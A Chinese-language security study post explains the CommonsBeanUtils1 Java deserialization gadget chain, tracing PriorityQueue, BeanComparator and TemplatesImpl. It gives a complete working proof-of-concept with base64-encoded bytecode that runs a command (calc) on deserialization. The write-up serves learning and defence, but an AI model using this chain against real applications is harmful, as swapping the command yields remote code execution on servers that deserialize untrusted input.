本文最后更新于:2023年9月9日 晚上
                  
                
              
            
            
              
                
                [TOC]
【java安全】CommonsBeanUtils1
前言
在之前我们学习了java.util.PriorityQueue,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator接口的compare()方法,进而执行恶意反序列化操作
我们能不能找到除了之前提到的TransformingComparator类以外的其他可以利用的java.util.Comparator对象?我们需要了解一下Commons Beanuitls
Apache Commons Beanutils
在找可用的Comparator之前,我们需要知道一下Apache Commons Beanutils,它是Apache Commons工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法
什么是javaBean?
| 12
 3
 4
 5
 6
 7
 
 | final public class Cat { private String name = "catalina";
 public String getName() { return name;
 }
 public void setName(String name) { this.name = name;
 }
 }
 
 | 
javaBean就是一种标准化的java对象,成员变量为private,提供了对成员变量的getter()和setter()方法,符合驼峰命名法
在Commons Beanutils中提供了一个静态方法PropertyUtils.getProperty()
| 12
 3
 
 | public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);
 }
 
 | 
这个方法可以可以调用任意javaBean对象的getter()方法
例如:
| 1
 | PropertyUtils.getProperty(new Cat(),'name')
 | 
这个方法会调用Cat对象的getName()方法,使用该方法可以调用任意对象的getter方法
BeanComparator
我们上文说想要找到其他的实现java.util.Comparator的类
在commons-beanutils中有一个BeanComparator类:
先看看构造方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | public BeanComparator() {this((String)null);
 }
 
 public BeanComparator(String property) {
 this(property, ComparableComparator.getInstance());
 }
 
 public BeanComparator(String property, Comparator<?> comparator) {
 this.setProperty(property);
 if (comparator != null) {
 this.comparator = comparator;
 } else {
 this.comparator = ComparableComparator.getInstance();
 }
 
 }
 
 | 
构造方法可以为:property属性赋值,这个很重要后面会用到
然后看看compare()方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | package org.apache.commons.beanutils;
 public class BeanComparator<T> implements Comparator<T>, Serializable {
 
 public int compare(T o1, T o2) {
 if (this.property == null) {
 return this.internalCompare(o1, o2);
 } else {
 try {
 Object value1 = PropertyUtils.getProperty(o1, this.property);
 Object value2 = PropertyUtils.getProperty(o2, this.property);
 return this.internalCompare(value1, value2);
 } catch (IllegalAccessException var5) {
 throw new RuntimeException("IllegalAccessException: " + var5.toString());
 } catch (InvocationTargetException var6) {
 throw new RuntimeException("InvocationTargetException: " + var6.toString());
 } catch (NoSuchMethodException var7) {
 throw new RuntimeException("NoSuchMethodException: " + var7.toString());
 }
 }
 }
 
 }
 
 | 
我们注意一下它的compare(T o1, T o2)方法,当property==null时,不会调用PropertyUtils.getProperty()
| 12
 3
 
 | if (this.property == null) {return this.internalCompare(o1, o2);
 }
 
 | 
PropertyUtils.getProperty()
| 12
 
 | Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);
 
 | 
它会去调用o1、o2对象的名为property的属性值的getter方法
这里很重要,加入o1是TemplatesImpl对象的话这里是可以构造反序列化利用链的
我们先来回顾一下前面TemplatesImpl中的调用链:
| 12
 3
 
 | TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
 -> TransletClassLoader#defineClass()
 
 | 
这里的getOutputProperties()就是getter方法的形式,并且它会调用newTransformer()触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)第一个形参传入:TemplatesImpl对象,并且第二个参数property传入值outputProperties
那么就会调用TemplatesImpl#getOutputProperties()方法了
我们可以简单测试一下:
我们先构造一个恶意字节码的类HelloTemplatesImpl:(注意需要继承AbstractTranslet,这样才有效)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 import java.io.IOException;
 
 public class HelloTemplatesImpl extends AbstractTranslet {
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
 }
 
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
 }
 
 public HelloTemplatesImpl() throws IOException {
 Runtime.getRuntime().exec("calc");
 }
 
 }
 
 | 
我们将其编译为字节码并且base64编码一下
然后编写利用链:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.beanutils.BeanComparator;
 import java.lang.reflect.Field;
 import java.util.Base64;
 
 public class CommonsBeanUtils1 {
 
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
 
 public static void main(String[] args) throws Exception {
 byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
 setFieldValue(obj, "_name", "HelloTemplatesImpl");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 
 BeanComparator beanComparator = new BeanComparator("outputProperties");
 beanComparator.compare(obj,null);
 
 }
 }
 
 | 

确实弹出了计算器,说明这是对的
如何调用BeanComparator#compare()方法?
我们这里可以继续使用PriorityQueue类,它的readObject()方法可以触发排序等函数,最终调用comparator变量的compare() 方法,并且形参传入TemplatesImpl对象(注意讲BeanComparator的property设置为outputProperties)
PriorityQueue#siftDownUsingComparator()
| 1
 | comparator.compare((E) c, (E) queue[right]) > 0)
 | 
当反序列化时调用PriorityQueue#readObject()方法,最终调用comparator#compare(),然后调用TemplatesImpl#getOutputProperties()方法
构造POC
首先常规构造TemplatesImpl对象:
| 12
 3
 4
 
 | TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
 setFieldValue(obj, "_name", "HelloTemplatesImpl");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 
 | 
然后构造BeanComparator类,我们先不为property赋值,防止提前调用PropertyUtils.getProperty():
| 1
 | BeanComparator comparator = new BeanComparator()
 | 
然后创建PriorityQueue,队列大小为2,将comparator成员变量赋值为BeanComparator对象:
| 1
 | PriorityQueue queue = new PriorityQueue(2, comparator);
 | 
然后添加2个无关紧要的值进queue中(之所以这么做是因为防止add()提前触发comparator.compare())
| 12
 
 | queue.add(1);queue.add(1);
 
 | 
添加完成之后我们再将queue的值(用来给compare方法传入TemplatesImpl对象)以及BeanComparator的property赋值为outputProperties
| 12
 
 | setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});
 
 | 
完整POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import org.apache.commons.beanutils.BeanComparator;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Field;
 import java.util.Base64;
 import java.util.PriorityQueue;
 
 public class CommonsBeanUtils1 {
 
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
 
 public static void main(String[] args) throws Exception {
 byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
 TemplatesImpl obj = new TemplatesImpl();
 setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
 setFieldValue(obj, "_name", "HelloTemplatesImpl");
 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
 
 BeanComparator comparator = new BeanComparator();
 PriorityQueue queue = new PriorityQueue(2, comparator);
 queue.add(1);
 queue.add(1);
 setFieldValue(comparator, "property", "outputProperties");
 setFieldValue(queue, "queue", new Object[]{obj, obj});
 
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(queue);
 oos.close();
 System.out.println(barr);
 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object) ois.readObject();
 
 }
 }
 
 | 
调用可以弹出计算器:

调用链
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | PriorityQueue#readObject()heapify();
 siftDown(i, (E) queue[i]);
 siftDownUsingComparator(k, x);
 BeanComparator#compare(TemplatesImplObj,)
 PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")
 TemplatesImpl#getOutputProperties()
 TemplatesImpl#newTransformer()
 ...
 defindClass()
 
 |